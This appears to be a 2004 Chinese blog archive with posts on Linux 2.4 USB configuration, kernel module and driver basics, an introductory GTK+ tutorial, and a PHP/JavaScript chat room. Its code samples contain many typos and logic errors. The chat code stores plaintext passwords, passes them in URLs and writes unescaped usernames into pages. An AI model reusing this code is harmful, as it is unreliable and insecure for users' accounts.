要启用 Linux USB 支持,首先进入”USB support”节并启用”Support for USB”选项(对应模块为usbcore.o)。尽管这个步骤相当直观明了,但接下来的 Linux USB 设置步骤则会让人感到糊涂。特别地,现在需要选择用于系统的正确 USB 主控制器驱动程序。选项是”EHCI” (对应模块为ehci-hcd.o)、”UHCI” (对应模块为usb-uhci.o)、”UHCI (alternate driver)”和”OHCI” (对应模块为usb-ohci.o)。这是许多人对 Linux 的 USB 开始感到困惑的地方。

要理解”EHCI”及其同类是什么,首先要知道每块支持插入 USB 设备的主板或 PCI 卡都需要有 USB 主控制器芯片组。这个特别的芯片组与插入系统的 USB 设备进行相互操作,并负责处理允许 USB 设备与系统其它部分通信所必需的所有低层次细节。

Linux USB 驱动程序有三种不同的 USB 主控制器选项是因为在主板和 PCI 卡上有三种不同类型的 USB 芯片。”EHCI”驱动程序设计成为实现新的高速 USB 2.0 协议的芯片提供支持。”OHCI”驱动程序用来为非 PC 系统上的(以及带有 SiS 和 ALi 芯片组的 PC 主板上的)USB 芯片提供支持。”UHCI”驱动程序用来为大多数其它 PC 主板(包括 Intel 和 Via)上的 USB 实现提供支持。只需选择与希望启用的 USB 支持的类型对应的”?HCI”驱动程序即可。如有疑惑,为保险起见,可以启用”EHCI”、”UHCI” (两者中任选一种,它们之间没有明显的区别)和”OHCI”。(赵明注:根据文档,EHCI已经包含了UHCI和OHCI,但目前就我个人的测试,单独加EHCI是不行的,通常我的做法是根据主板类型加载UHCI或OHCI后,再加载EHCI这样才可以支持USB2.0设备)。

启用了”USB support”和适当的”?HCI”USB 主控制器驱动程序后,使 USB 启动并运行只需再进行几个步骤。应该启用”Preliminary USB device filesystem”,然后确保启用所有特定于将与 Linux 一起使用的实际 USB 外围设备的驱动程序。例如,为了启用对 USB 游戏控制器的支持,我启用了”USB Human Interface Device (full HID) support”。我还启用了主”Input core support” 节下的”Input core support”和”Joystick support”。

一旦用新的已启用 USB 的内核重新引导后,若/proc/bus/usb下没有相应USB设备信息,应输入以下命令将 USB 设备文件系统手动挂装到 /proc/bus/usb:

 # mount -t usbdevfs none /proc/bus/usb 

为了在系统引导时自动挂装 USB 设备文件系统,请将下面一行添加到 /etc/fstab 中的 /proc 挂装行之后:

 none /proc/bus/usb usbdevfs defaults 0 0 

模块的配置方法.

在很多时候,我们的USB设备驱动并不包含在内核中。其实我们只要根据它所需要使用的模块,逐一加载。就可以使它启作用。

首先要确保在内核编译时以模块方式选择了相应支持。这样我们就应该可以在/lib/modules/2.4.XX目录看到相应.o文件。在加载模块时,我们只需要运行modprobe xxx.o就可以了(modprobe主要加载系统已经通过depmod登记过的模块,insmod一般是针对具体.o文件进行加载)

对应USB设备下面一些模块是关键的。

usbcore.o 要支持usb所需要的最基础模块
usb-uhci.o (已经提过)
usb-ohci.o (已经提过)
uhci.o 另一个uhci驱动程序,我也不知道有什么用,一般不要加载,会死机的
ehci-hcd.o (已经提过 usb2.0)
hid.o USB人机界面设备,像鼠标呀、键盘呀都需要
usb-storage.o USB存储设备,U盘等用到

相关模块

ide-disk.o IDE硬盘
ide-scsi.o 把IDE设备模拟SCSI接口
scsi_mod.o SCSI支持

注意kernel config其中一项:

 Probe all LUNs on each SCSI device 

最好选上,要不某些同时支持多个口的读卡器只能显示一个。若模块方式就要带参数安装或提前在/etc/modules.conf中加入以下项,来支持多个LUN。

 add options scsi_mod max_scsi_luns=9 

sd_mod.o SCSI硬盘
sr_mod.o SCSI光盘
sg.o SCSI通用支持(在某些探测U盘、SCSI探测中会用到)

常见USB设备及其配置

在Linux 2.4的内核中已经支持不下20种设备。它支持几乎所有的通用设备如键盘、鼠标、modem、打印机等,并不断地添加厂商新的设备象数码相机、MP3、网卡等。下面就是几个最常见设备的介绍和使用方法:

USB鼠标:

键盘和鼠标属于低速的输入设备,对于已经为用户认可的PS/2接口,USB键盘和USB鼠标似乎并没有太多更优越的地方。现在的大部分鼠标采用了PS/2接口,不过USB接口的鼠标也越来越多,两者相比,各有优势:一般来说,USB的鼠标接口的带宽大于PS/2鼠标,也就是说在同样的时间内,USB鼠标扫描次数就要多于PS/2鼠标,这样在定位上USB鼠标就更为精确;同时USB接口鼠标的默认采样率也比较高,达到125HZ,而PS/2接口的鼠标仅有40HZ(Windows 9x/Me)或是60HZ(Windows NT/2000)。

对于USB设备你当然必须先插入相应的USB控制器模块:usb-uhci.o或usb-ohci.o

 modprobe usb-uhci 

USB鼠标为了使其正常工作,您必须先插入模块usbmouse.o和mousedev.o

 modprobe usbmouse modprobe mousedev 

若你把HID input layer支持和input core 支持也作为模块方式安装,那么启动hid模块和input模块也是必要的。

 modprobe hid modprobe input 

USB键盘:

一般的,我们现在使用的键盘大多是PS/2的,USB键盘还比较少见,但是下来的发展,键盘将向USB接口靠拢。使用USB键盘基本上没有太多的要求,只需在主板的BIOS设定对USB键盘的支持,就可以在各系统中完全无障碍的使用,而且更可以真正做到在即插即用和热插拔使用,并能提供两个USB连接埠:让您可以轻易地直接将具有USB接头的装置接在您的键盘上,而非计算机的后面。

同样你当然必须先插入相应的USB控制器模块:usb-uhci.o或usb-ohci.o

 modprobe usb-uhci 

然后您还必须插入键盘模块usbkbd.o,以及keybdev.o,这样usb键盘才能够正常工作。此时,运行的系统命令:

 modprobe usbkbd modprobe keybdev 

同样若你把HID input layer支持和input core 支持也作为模块方式安装,那么启动hid模块和input模块也是必要的。

U盘和USB读卡器:

数码存储设备现在对我们来说已经是相当普遍的了。CF卡、SD卡、Memory Stick等存储卡已经遍及我们的身边,通常,他们的读卡器都是USB接口的。另外,很多MP3、数码相机也都是USB接口和计算机进行数据传递。更我们的U盘、USB硬盘,作为移动存储设备,已经成为我们的必须装备。

在Linux下这些设备通常都是以一种叫做usb-storage的方式进行驱动。要使用他们必须加载此模块

 modprobe usb-storage 

当然,usbcore.o 和usb-uhci.o或usb-ohci也肯定是不可缺少的。另外,若你系统中SCSI支持也是模块方式,那么下面的模块也要加载

 modprobe scsi_mod modprobe sd_mod 

在加载完这些模块后,我们插入U盘或存储卡,就会发现系统中多了一个SCSI硬盘,通过正确地mount它,就可以使用了(SCSI硬盘一般为/dev/sd?,可参照文章后面的常见问题解答)。

 mount /dev/sda1 /mnt 

Linux支持的其他USB设备。

MODEM–(比较常见)
网络设备
摄像头–(比较常见)例如ov511.o
联机线–可以让你的两台电脑用USB线实现网络功能。usbnet.o
显示器–(我没见过)
游戏杆
电视盒–(比较常见)
手写板–(比较常见)
扫描仪–(比较常见)
刻录机–(比较常见)
打印机–(比较常见)

注意:上面所说的每个驱动模块,并不是都要手动加载,有很多系统会在启动或你的应用需要时自动加载的,写明这些模块,是便于你在不能够使用USB设备时,可以自行检查。只要用lsmod确保以上模块已经被系统加载,你的设备就应该可以正常工作了。当然注意有些模块已经以内核方式在kernel启动时存在了(这些模块文件在/lib/modules/2.4.XX中是找不到的)。

最常遇见的USB问题

  1. 有USB设备的系统安装完redhat 7.3启动死机问题

    有USB设备,当你刚装完redhat 7.3第一次启动时,总会死掉。主要原因是Linux在安装时探测到有usb-uhci和ehci-hcd两个控制器,但在启动时,加载完usb-uhci再加载ehci-hcd就会有冲突。分析认为redhat7.3系统内核在支持USB2.0标准上存在问题。在其他版本的Linux中均不存在此问题。

    解决办法:在lilo或grub启动时用命令行传递参数init=/sbin/init。这样在启动后就不运行其他服务而直接启动shell。然后运行
    mount -o remount,rw / 使/ 可写,init直接启动的系统默认只mount /为只读
    然后vi /etc/modules.config文件
    删除alias usb-controller1 ehci-hcd一行。或前面加#注释掉
    然后mount -o remount,ro / 使/ 只读,避免直接关机破坏文件系统
    然后就可以按Ctrl-Alt-Delete直接重启了
    或许,你有更简单的办法:换USB键盘和鼠标为PS2接口,启动后修改/etc/modules.config文件。

  2. 我们已经知道U盘在Linux中会模拟为SCSI设备去访问,可怎么知道它对应那个SCSI设备呢?

    方法1:推测。通常你第一次插入一个SCSI设备,它就是sda,第二个就是sdb以此类推。你启动Linux插入一个U盘,就试试sda,换了一个就可能是sdb。这里注意两个特例:1) 你用的是联想U盘,它可能存在两个设备区(一个用于加密或启动电脑),这样就可能一次用掉两个sda、sdb,换个U盘就是sdc、sdd。2) 联想数码电脑中,可能已经有了六合一读卡器。它同样也是USB存储设备。它会占掉一个或两个SCSI设备号。

    方法2:看信息。其实,只要你提前把usb-storage.o、scsi_mod.o、sd_mod.o模块加载(直接在kernel中也可以)了,在你插入和拔出U盘时,系统会自动打出信息如下:

     SCSI device sda: 60928 512-byte hdwr sectors ( 31 MB ) sda: Write Protect is on 

    根据此信息,你就知道它在sda上了。当然,可能你的系统信息级别比较高,上述信息可能没有打出,这时候你只要tail /var/log/messages就可以看到了。

    方法3:同样,cat /proc/partitions也可以看到分区信息,其中sd?就是U盘所对应的了。若根本没有sd设备,就要检查你的SCSI模块和usb-storage模块是否正确加载了。

  3. 在使用U盘或存储卡时,我该mount /dev/sda还是/dev/sda1呢?

    这是一个历史遗留问题。存储卡最初尺寸很小,很多厂商在使用时,就直接使用存储,不含有分区表信息。而随着存储卡尺寸的不断扩大,它也就引入了类似硬盘分区的概念。例如/dev/hda你可以分成主分区hda1、hda2扩展分区hda3,然后把扩展分区hda3又分为逻辑分区hda5、hda6、hda7等。这样,通常的U盘就被分成一个分区sda1,类似把硬盘整个分区分成一个主分区hda1。实际上,我们完全可以通过fdisk /dev/sda对存储卡进行完全类似硬盘的分区方式分成sda1、sda2甚至逻辑分区sda5、sda6。实际上,对USB硬盘目前你的确需要这样,因为它通常都是多少G的容量。而且通常,它里面就是笔记本硬盘。

    一个好玩的问题。你在Linux下用fdisk /dev/sda 对U盘进行了多分区,这时候到windows下,你会发现怎么找,怎么格式化,U盘都只能找到第一个分区大小尺寸,而且使用看不出任何问题。这主要是windows驱动对U盘都只支持一个分区的缘故。你是不是可以利用它来进行一些文件的隐藏和保护?你是不是可以和某些人没玩过Linux的人开些玩笑:你的U盘容量变小了J。

    现在较多的数码设备也和windows一样,是把所有U盘容量分为一个,所以在对待U盘的时候,通常你mount的是sda1。但对于某些特殊的数码设备格式化的U盘或存储卡(目前我发现的是一款联想的支持模拟USB软盘的U盘和我的一个数码相机),你就要mount /dev/sda。因为它根本就没分区表(若mount /dev/sda1通常的效果是死掉)。其实,这些信息,只要你注意了/proc/partitions文件,都应该注意到的。

  4. 每次插入U盘,都要寻找对应设备文件名,都要手动mount,我能不能做到象windows那样插入就可以使用呢。

    当然可以,不过你需要做一些工作。我这里只提供一些信息帮助你去尝试完成设置:Linux内核提供了一种叫hotplug支持的东西,它可以让你系统在PCI设备、USB等设备插拔时做一些事情。而automount 功能可以使你的软驱、光盘等设备的分区自动挂载和自动卸载。你甚至可以在KDE桌面中创建相应的图标,方便你操作。具体设置方法就要你自己去尝试了。反正我使用Linux已经麻木了,不就是敲一行命令嘛。

参考资料

  1. 《LINUX设备驱动程序》
    ALESSANDRO RUBINI著
    LISOLEG 译
  2. 《Linux系统分析与高级编程技术》
    周巍松 编著
  3. Linux Kernel-2.4.20源码和文档说明
2004年08月15日

      Linux内核是一个整体是结构,因此向内核添加任何东西,或者删除某些功能,都十分困难。为了解决这个问题引入了内核机制。从而可以动态的想内核中添加或者删除模块。

   模块不被编译在内核中,因而控制了内核的大小.然而模块一旦被插入内核,他就和内核其他部分一样.这样一来就会曾家一部分系统开销。同时,如果模块出现问题,也许会带来系统的崩溃。   模块的实现机制:   启动时,由函数 void inti_modules() 来初始化模块,因为启动事很多时候没有模块.这个函数往往把内核自身当作一个虚模块。

   如由系统需要,则调用一系列以sys 开头的函数,对模块进行操作. 如:   sys_creat_modules(),sys_inti_modules() ,   sys_deldte_modules()等等.   这里会用到一些模块的数据就结构,在/usr/scr/Linux/include/Linux/module.h 中,有兴趣的朋友可以找出来一看块的加入有两种方法:一是手动加入:如:insmod modulename.另一种是根据需要,动态的加载模块:如你执行命令:   $mount -t msdos /dev/hdd /mnt/d 时.系统便自动加载 FAT模块,以支持MSDOS的文件系统。

   1.模块编程   写一个模块,必须有一定的多进程编程基础,因为你变得程序不是以一个独立的程序的来运行的。另外,因为,模块需要在内核模式下运行,会遇到在内和空间和用户空间数据交换的问题.一般的数据复制函数无法完成这一个过程。因此系统已入了一些特殊的函数以用来完成内核空间和用户空间数据的交换/   这些函数有:void put _user (type valude,type *u_addr)   memcpy_tofs()   等等,有兴趣的朋友可以仔细的看看所有的函数,以及他们的用法.需要说明的是.模块编程河内核的版本有很大的关系。如果版本不通可能造成,内核模块不能编译,或者.在运行这个模块时,出现不可测结果。如:系统崩溃等。

   明白了这些以后,你就可以尝试着编写内核模块了。对于每一个内核模块来说,必定包含两个函数int init_module() 这个函数在插入内核时启动,在内核中注册一定的功能函数,或者用他的代码代替内和中某些函数的内容(估计这些函数是空的)。因此,内和可以安全的卸载。

   int cleanup_module() 当内核模块谢载时,调用.将模块从内核中清除.

  同其他的程序设计教程一样 ,我们给出一个hello world 的例子 /*hello.c a module programm*/ /* the program runing under kernel mod and it is a module*/ #include” Linux/kernerl.h” #include”lLinux/module.h” /* pross the CONFIG_MODVERSIONS*/ #if CONFIG_MODVERSIONS==1 #define MODVERSIONS #include”"Linux/modversions.h” #end if /* the init function*/ int init_module() { printk(” hello world !\n’); printd(” I have runing in a kerner mod@!!\n”); return 1; } /* the distory function*/ int cleanup_module() { printk(” I will shut down myself in kernerl mod /n)”; retutn 0; }   这样一个例子就完成了.我们也写一个makefile 的例子,以适于我们在大程序重的应用。一下是makfile 文件的内容 。 # a makefile for a module CC=gcc MODCFLAGS:= -Wall _DMODULE -D_KERNEL_ -DLinux hello.o hello.c /usr/inculde?Linux/version.h CC $(MODCFLAGS) 0c hello.c echo the module is complie completely   然后你运行make 命令 得到hello.o 这个模块,运行 $insmod hello.o hello world! I will shut down myself in kernerl mod $lsmod hello (unused) …. $remmod I will shut down myself in kernerl mod   这样你的模块就可以随意的插入和删除了。

   Linux中的大部分驱动程序,是以模块的形式编写的,这些驱动程序源码可以修改到内核中,也可以把他们编译成模块形势,在需要的时候动态加载。   一个典型的驱动程序,大体上可以分为这么几个部分:   

1.注册设备   在系统初启,或者模块加载时候,必须将设备登记到相应的设备数组,并返回设备的主驱动号,例如:对快设备来说调用 refister_blkdec()将设备添加到数组blkdev中,并且获得该设备号,并利用这些设备号对此数组进行索引。对于字符驱动设备来说,要使用 module_register_chrdev()来获得祝设备的驱动号,然后对这个设备的所有调用都用这个设备号来实现。

   2.定义功能函数   对于每一个驱动函数来说,都有一些和此设备密切相关的功能函数,那最常用的块设备或者字符设备来说,都存在着诸如 open() read() write() ioctrol()这一类的操作。当系统社用这些调用时,将自动的使用驱动函数中特定的模块,来实现具体的操作。而对于特定的设备,上面的系统调用对应的函数是一定的。   如:在块驱动设备中.当系统试图读取这个设备(即调用read()时),就会运行驱动程序中的block_read() 这个函数。   打开新设备时会调用这个设备驱动程序的device_open() 这个函数.

  3.谢载模块   在不用这个设备时,可以将他卸载,主要是从/proc 中取消这个设备的特殊文件,可用特定的函数实现。   下面我们列举一个字符设备驱动程序的框架.来说明这个过程. /* a module of a character device */ /* some include files*/ #include”param.h” #include”user.h” #include”tty.h” #include”dir.h” #include”fs.h” /* the include files modules need*/ #include”Linux/kernel.h” #include”Linux/module.h” #if CONFIG_MODBERSIONS==1 degine MODBERSIONS #include” Linux.modversions.h” #endif #difine devicename mydevice /* the init funcion*/ int init_module() { int tag=module_register_chrdev(0,mydevice,&Fops); if (tag<0) { printk(“the device init is erro!\n”); return 1; } return 0; } /*the funcion which the device will be used */ int device_open () { ……. } int device_read () { ……. } int device_write () { ……. } int device_ioctl () { ……. } …… /* the deltter function of this module*/ int cleanup_module() { int re=module_unregister_chrdev(tag,mydevice); if( re<0) { printk(“erro unregister the module !!\n”); return 1; } return 0; }

2004年08月10日

GTK+编程入门

作者 xinhe

 一、什么是GTK+ GTK+(GIMP ToolKit),即GIMP工具箱,最初是用来向GNU图像处理程序(即GIMP)的开发者提供用户界面功能,简单的说,GTK+就是用于图形界面开发的API库,是由最初简单的GTK扩展而来的。 与其他GUI环境下开发的API相比,GTK+的确是与众不同的,甚至在有些方面是令人惊喜的,一方面,GTK+是作为用于Linux他UNIX平台的其他GUI API的一个免费的和简单的替代品,而另一方面,GTK+是在有了数年的使用和开发经验之后开发的。 总之,在Linux/UNIX平台下开发图形界面,GTK+将是一个不错的选择。

二、一个简单的GTK+程序的例子 GTK+对开发环境的要求很简单,程序的编写可以使用任何编辑器,编译一般选用GCC,不过记得在安装时要把GTK+的API库装上去。(呵呵,是不是觉得比装VC,或.net之类的东西要简单多了?),编程的语言还是采用我们熟悉的C。 下面给出一个最简单的GTK+程序,它的作用就是在桌面上创建一个窗体。我们通过这个程序来了解GTK+的一些基础知识。

 /*****************************************************

* basicgtk.c * create by xinhe

*****************************************************/

#include gint main(gint argc,gchar **argv)

{

GtkWidget *TheWindow; //定义一个GtkWidget的数据结构 gtk_init(&argc,&argv);//对gtk+进行初始化 TheWindow=gtk_window_new(GTK_WINDOW_TOPLEVEL);//创建一个新的窗体 gtk_main();//这里是进入gtk的循环 return(0); } 然后编译此程序 gcc -Wall -o basicgtk basicgtk.c `gtk-config –cflags –libs` 编译通过后运行此程序,会在桌面上看到一个窗体。 下面来解释一下这段小程序

1、关于数据类型 这个程序中出现了gint,gchar等数据类型,这些都是GLIB的数据类型,GLIB有点像windows下C的STL,GLIB的数据类型的表示和C的差不多,基本上是在前面加一个g的前缀,但GLIB对数据类型的处理(主要指内存管理方面)比C要优化一些。如果这方面还有什么问题请参考GLIB的说明。

2、关于GtkWidget GtkWidget从本质上说它只一个数据结构,在这里,我们可以把它理解为一个对象,这里好像用到了面向对象的概念,不错同GTK+就是基于面象对面的恩想设计的,你可能会问,GTK+程序不是用C语言写的吗?注意,这里只是用到了面向对象的思想和面向对象的编程方法,并不是面向对象语言,C++语言的发明人Bjarne Stroustrup曾经说过,面向对像的程序设计是编写程序代码的一种方法。而向对像的程序设计语言是在语言内部明确的提供帮助。 因此,这里的GtkWidget可以说一个对象。

3、初始化GTK+ 在调用GTK+的函数之前,必须先初始化GTK+。gtk_init()就是对GTK+进行初始化,它主要处理命令行的参数。

4、创建并显示窗体 函数gtk_window_new()的作用就是创建一个窗体,而该函数的参数是说明所要创建窗体的类型,它可以是以下三种中的一种: GTK_WINDOW_TOPLEVEL、GTK_WINDOW_DIALOG、GTK_WINDOW_POPUP 5、gtk_main循环 gtk_main函数的作用就是进入GTK+循环,即程序不停的运行,直到程序的的另一个部分调用了gtk_main_quit或程序崩溃为止,这有点像win32程序的消息循环。

 三、信号与事件 这里将引入GTK+信号和事件的概念,信号和事件的概念十分相近,初学者比较难区别,简单的说,当用户点击一个按纽或是移动鼠标,就称该用户触发了一个事件,而X本身能够抓住的一些事情,如窗口删除、点击按纽,这些就称为信号。(的确很难区别,不过在程序里使用信号和事件的方法却没有区别) 对信号和事件的处理首先要连接信号,这里将使用到连接函数gtk_signal_connect, 这里给出一个例子

//—————————————-

TheWindow=gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_signal_connect(GTK_OBJECT(TheWindow),”destroy”,GTK_SIGNAL_FUNC(StopTheApp),NULL); gtk_widget_show(TheWindow);

//———————————————–

gtk_signal_connect函数有四个参数,第一个是GTK+对象,GTK_OBJECT宏起到转化作用,第二个是要捕捉的信号名,第三个是信号处理程序名,GTK_SIGNAL_FUNC宏是将函数的指针转换成一个更便于GTK+内部使用的信号函数指针。最后一个参数是要传递给信号处理函数的数据指针,没有就是NULL。 接下来就要编写信号处理函数

void StopTheApp(GtkObject * TheWindow,gpointer data)

{ gtk_main_quit(); }

下面再写一个程序来理解信号和事件

/********************************

* events.c

* ***********************************/

#include //信处理函数

 void StopTheApp(GtkWinget *TheWindow,gpointer data)

 { gtk_main_quit(); }

 //事件处理函数

 gboolean EventHandler(GtkWidget *TheWindow,GdkEvent *event,gpointer data)

 { switch(event->type)

 {

case GDK_EXPOSE: g_print(“the window contents were redrawn\n”);

break;

case GDK_LEAVE_NOTIFY: g_print(“the mouse left the window\n”);

break;

case GDK_DELETE: g_print(“the window was killed”);

 break;

default: break;

}

return FALSE;

}

ginit main(gint argc,gchar **argv)

 {

GtkWidget TheWidow; gtk_init(&argc,&argv);

TheWindow=gtk_window_new(GTK_WINDOW_TOPLEVEL);

 gtk_signal_connect(GTK_OBJECT(TheWidow),”event”,GTK_SIGNAL_FUNC(EventHandler),NULL); gtk_signal_connect(GTK_OBJECT(TheWidow),”destroy”,GTK_SIGNAL_FUNC(StopTheApp),NULL); gtk_widget_show(TheWindow);

gtk_main(); return 0;

}

这里第一个信号连接函数是连接的事件处理函数,而第二个是连接的信号处理函数。 最后,需要断开信号连接,使用函数gtk_signal_disconnect();

//———————————————

gint SignalHandler;

SignalHandler=gtk_signal_connect(GTK_OBJECT(window),”destroy”,GTK_SIGNALFUNC(HandlerFunc),NULL);

gtk_signal_disconnect(GTK_OBJECT(window),GTK_SIGNAL_FUNC(HandlerFunc),NULL);

到这里,我们应该对GTK+编程有了一个大概的了解了。

2004年08月07日

聊天室编程思想– 大门–登陆
大门–登陆

1 页面登陆的基本要素
你可以在我的竹叶看到登陆 的表单,这里提供了最基本的登陆表单项
(1)登陆表单
<form method=POST name=chatform action=chat/login.php?action=enter onSubmit=”b1_submit();return true;” target=”howtodo”>
(a)聊天表单的名字为chatform,我使用action=enter作为进入聊天室的入口,如果没有这个参数,则显示登陆页 面.
(b)在表单提交时,先调用b1_submit()建立聊天的窗口
(c)聊天的目标窗口为b1_submit()建立 的howtodo窗口

(2)表单项
昵称:<input type=text name=name size=15 maxlength=”10″>
密码:<input type=password name=pass size=15 maxlength=”10″>
<input type=submit name=submit value=登陆 style=”width:100″>
<input type=reset name=reset value=重添 style=”width:50″>
(a)各表单项一定要设定最大允许长度 maxlength

(3)建立聊天窗口的js
<script LANGUAGE=”javascript”>
function b1_submit(){
chat=window.open(”,”howtodo”,’Status=no,scrollbars=no,resizable=no’);
chat.moveTo(0,0);
chat.resizeTo(screen.availWidth,screen.availHeight);
chat.outerWidth=screen.availWidth;
chat.outerHeight=screen.availHeight;
}
这段代码先 打开一个没有状态栏,滚动条,可调整尺寸的howtodo窗口!然后移动到屏幕左上角,然后放大到允许的屏幕大小.

 聊天室编程思想–大门 — 通行证

大门 — 通行证
聊天室可以采用完全自由的方式运行,你可以随意 输入呢称,不用密码,不保存你的聊天状态,优点是:自由,非常适合于游客!另外一个方法是注册聊天室,每个进入 聊天室的人都要输入自己的用户名和密码才能进入!优点:充分体现个性,非常适合于老朋友,他们的呢称不会被 人恶意侵占使用.我的聊天室使用注册方法!

注册通常采用2种方法:1,先注册然后进入聊天;2,自动注 册,然后在里面修改自己的资料!我采用第2种方法!!每个新进入的聊友的用户名会被自动保存到注册到数据库内 ,下次登陆必须输入准确的密码才能进入!

下面是判断部分!本程序使用文本数据库 !

//$useronline为在线人的数据文件名称
//$useronlinelock为在线人的锁定标志
//$register为已经注册的数据文件名称
//$registerlock为注册文件的锁定标志
//$split为分隔 符

//登陆参数 enter
if($action == “enter”)
{
//当前时间秒数
$timecurrent = date(“U”);

//锁定在线人数文件,防止同时修改同一个文件
while( file_exists($useronlinelock))
{
if(!file_exists($useronlinelock))
{
break;
}
}

//创建临时文件
fclose(fopen($useronlinelock,”w”));

//读入在线用户和已经注册用户的信息:密码,昵称,更新时间
$useronline = file($useronline);
$register = file($register);

//用于判断登 陆是否成功的标志
$namesign=0;

//判断用户名,密码的错误,用户名不允许为空,不允许超过10 个字符,密码不允许超过20个字符
if(($name ==”") || (strlen($name) > 10) || (strlen($pass) > 20) )
{
print(“没有昵称或密码过长”);
//登陆失败
$namesign=1;
//删除临时文件
unlink($useronlinelock);
}
else
{
//查找是否已经有人注册或者密码错误
$foundsign=0;
for($i=0;$i<count($register);$i++)
{
//分割
$tempregister = split($split,$register[$i],99);
//找到已经注册的用户名
if( $name == $tempregister[0] )
{
//已经找到标志
$foundsign=1;
//密码正确吗
if($pass != $tempregister[1])
print(“密码错了!”);
//登陆失败
$namesign=1;
unlink($useronlinelock);
break;
}
else
{
//老用户登陆成功
$namesign=0;
break;
}
}

}

//如果没有找到这个用户名,那么就自动注册
if(!$foundsign)
{
//保存用户名和密码
$handle = fopen($register,”a”);
fputs($handle,”$name$split$pass$split “);
fclose($handle);
//新 用户登陆成功
$namesign=0;
}
}
}
if(!$namesign)
{
//更新在线人的名单
$useronlinehandle = fopen($useronline,”w”);

//判断是否已经在里面,只是刷新页面
$updatesign = 0;
for($i=0;$i<count($useronline);$i++)
{
$usertemp=split($split,chop($useronline[$i]),99);
if($name == $usertemp[0])
{
//更新标志
$updatesign = 1;
fputs($useronlinehandle,$useronline[$i]);
}
else
{
fputs($useronlinehandle,$useronline[$i]);
}
}
//如 果没有在里面,则增加到里面
if(!$updatesign)
fputs($useronlinehandle,”$name$split$level$split$pass$split$timecurrent “);
fclose($useronlinehandle);

//去掉缩定
unlink($useronlinelock);

//登陆成 功
}

到这里,用户的验证已经完成,聊友已经合法的进入了聊天室,携带者呢称和密码

聊天室编程思想–大厅 — 显示界面

大厅 — 显示界面
2000年09月04
现在的www聊天室基本全部采用框架方式,可以用 frame也可以用iframe看个人喜欢了,我的采用frame的传统方式

print(“<frameset rows=”*,110,0,0,0″ border=0> “);
print(“<frameset cols=”660,118″ rows=”*”> “);

//主显示屏幕,负责显示聊天内容
print(“<frame name=u src=about:blank frameborder=”NO” noresize> “);

//在线人数屏幕
print(“<frame name=r src=”about:blank” frameborder=”NO”>”);
print(“</frameset> “);

//发送信息的屏幕,信息指挥中心,所有指令都要由这里发出
print(“<frame name=d src=send.php?name=$name&&pass=$pass scrolling=’no’ frameborder=”NO” noresize> “);

//被动更新屏幕,处理发送的信息
print(“<frame src=”about:blank” name=”bl”> “);

/主动更新屏幕,显示自己和其他聊友的聊天信息
print(“<frame src=”about:blank” name=”flush”> “);

//检测是否在线的屏幕,对于异常 离开,如死机,掉线等的处理
print(“<frame src=”about:blank” name=”check”> “);
print(“</frameset> “);

因为各个页面之间的程序有 联系,所以显示顺序很重要,可以看到,我这里只有发送页面不是about:blank,其他页面的显示都要先通过发送页 面的调用才能开始.

聊天室编程思想–大厅 — 在线人数

大厅 — 在线人数

我根据网易聊天室的在线人数的方法,显示当前的在 线人数,代码解释如下:

1 登陆时建立在线人名单的数组,放在body后面

<?
//锁定在线 人数文件
while(file_exists($useronlinelock)){$pppp++;}
fclose(fopen($useronlinelock,”w”));

//读入在线人名单
$useronline = file($useronline);
unlink($useronlinelock);

//建立数组 list
print(“document.writeln(“list=new Array(“);
$k=count($useronline);
if($k>1)
{
for($i=0;$i<($k-1);$i++)
{
$usercurrent = split($split,$useronline[$i],99);
// 姓名+,
print(“‘$usercurrent[0]‘,”);
}
$i=$k-1;
// 处理最后一个姓名
$usercurrent = split($split,$useronline[$i],99);
print(“‘$usercurrent[0]‘”);
}
// 数组结束
print(“)”); “);
?>

2显示在 线人数的js
document.writeln(‘[在线人数<font color=red>'+count+'</font>]<br>’);
document.writeln(“[<a href="javascript:parent.cs('所有人')">所有人</a>]<br>”);
document.writeln(“<font class=’p9′>”);
var j,name,club;
for(var i=0;i<list.length;i=i+1)
{
if(list[i]!=null){

//显示每个在线人的名字
document.writeln(“<a href=”javascript:parent.cs(‘”+list[i]+”‘)” title=’”+list[i]+”‘>”+list[i]+”</a><br>”);
}
}
this.r.document.writeln(‘</font><hr>’);

3改变聊天对象
function cs(name)
{
if(this.d.document==null)return;
if(name==’所有人’)
{
this.d.add(‘所有人’);
this.d.document.inputform.talkto.value=’所有人 ‘;

//改变焦点
this.d.document.inputform.msg.focus();
return;
}
for(var i=0;i<list.length;i=i+1)
{
if(list[i]==name)
{

//更改发送的谈话对象
this.d.document.inputform.talkto.value=list[i];
this.d.document.inputform.msg.focus();
return;
}
}

//错误
alert(‘此用户已离线或已改了昵称。’);
}

4删除一个用户
function del(str)
{
for(var i=0;i<list.length;i=i+1)
if(list[i]==str)
{
delete list[i];
count–;
}
}

5增加一个用户
function add(str1,str2)
{
var l=list.length;
for(var i=0;i<list.length;i=i+1)

//如果已经在数组里面则返回
if(list[i]==str1)
return;

//增加一个用户
list[l]=str1;
count++;
}

6更新聊天人数的方法,定时器的使用
var timerID=null;
var timerRunning=false;

function stop()
{
//停止
if(timerRunning)clearTimeout(timerID);
timerRunning=false;
}
function start()
{
stop();
//调用更新在线人数的程序
write1();
}

function write1()
{
… … … …
//设定更新时间,
timerID=setTimeout(“start()”,30000);
timerRunning=true;
}

这种方法比较简单的实现了在线人数的显示,当然也可以使用读入在线 人文件的方法显示在线人数,不过在改变聊天对象是会比较麻烦.

聊天室编程思想–指挥中心 — 发送信息

指挥中心 — 发送信息
这里是聊天室的指挥中心,所有的指令都要在这里发出

1下面是基本的发送表单代码

<form name=inputform action=’messagesend.php’ target=’bl’ onsubmit=’return(checksay());’ method=POST>

<?
//下面的2个参数用于验证信息的正确性
print(“<input type=’hidden’ name=’name’ value=’$name’> “);
print(“<input type=’hidden’ name=’pass’ value=’$pass’> “);
?>

//聊天对象,注意加上 readonly 属性
<input type=”text” name=”talkto” size=”10″ maxlength=”20″ readonly value=”所有人”>

//上次聊天的发送内容
<input type=’hidden’ name=’message’ value=”>

//发送的表单文本框
<input type=”text” name=”msg” maxlength=”120″ size=”34″>

<input type=”submit” name=”Submit” value=”发送”>

</form>

2 检查发送内容的js

var dx =”;
function checksay( )
{

//不允许发送空的发言
if(document.inputform.msg.value==”)
{
document.inputform.msg.focus();
return false;
}

//不允许重复发言,内容相同,对象相同
if ((document.inputform.msg.value==document.inputform.message.value)&&(document.inputform.talkto.value==dx))
{
alert(‘发言不能重复’);
document.inputform.msg.focus();
return false;
}

//两次发言内容的间隔不能小于1秒,或者发言字数大于间隔*3
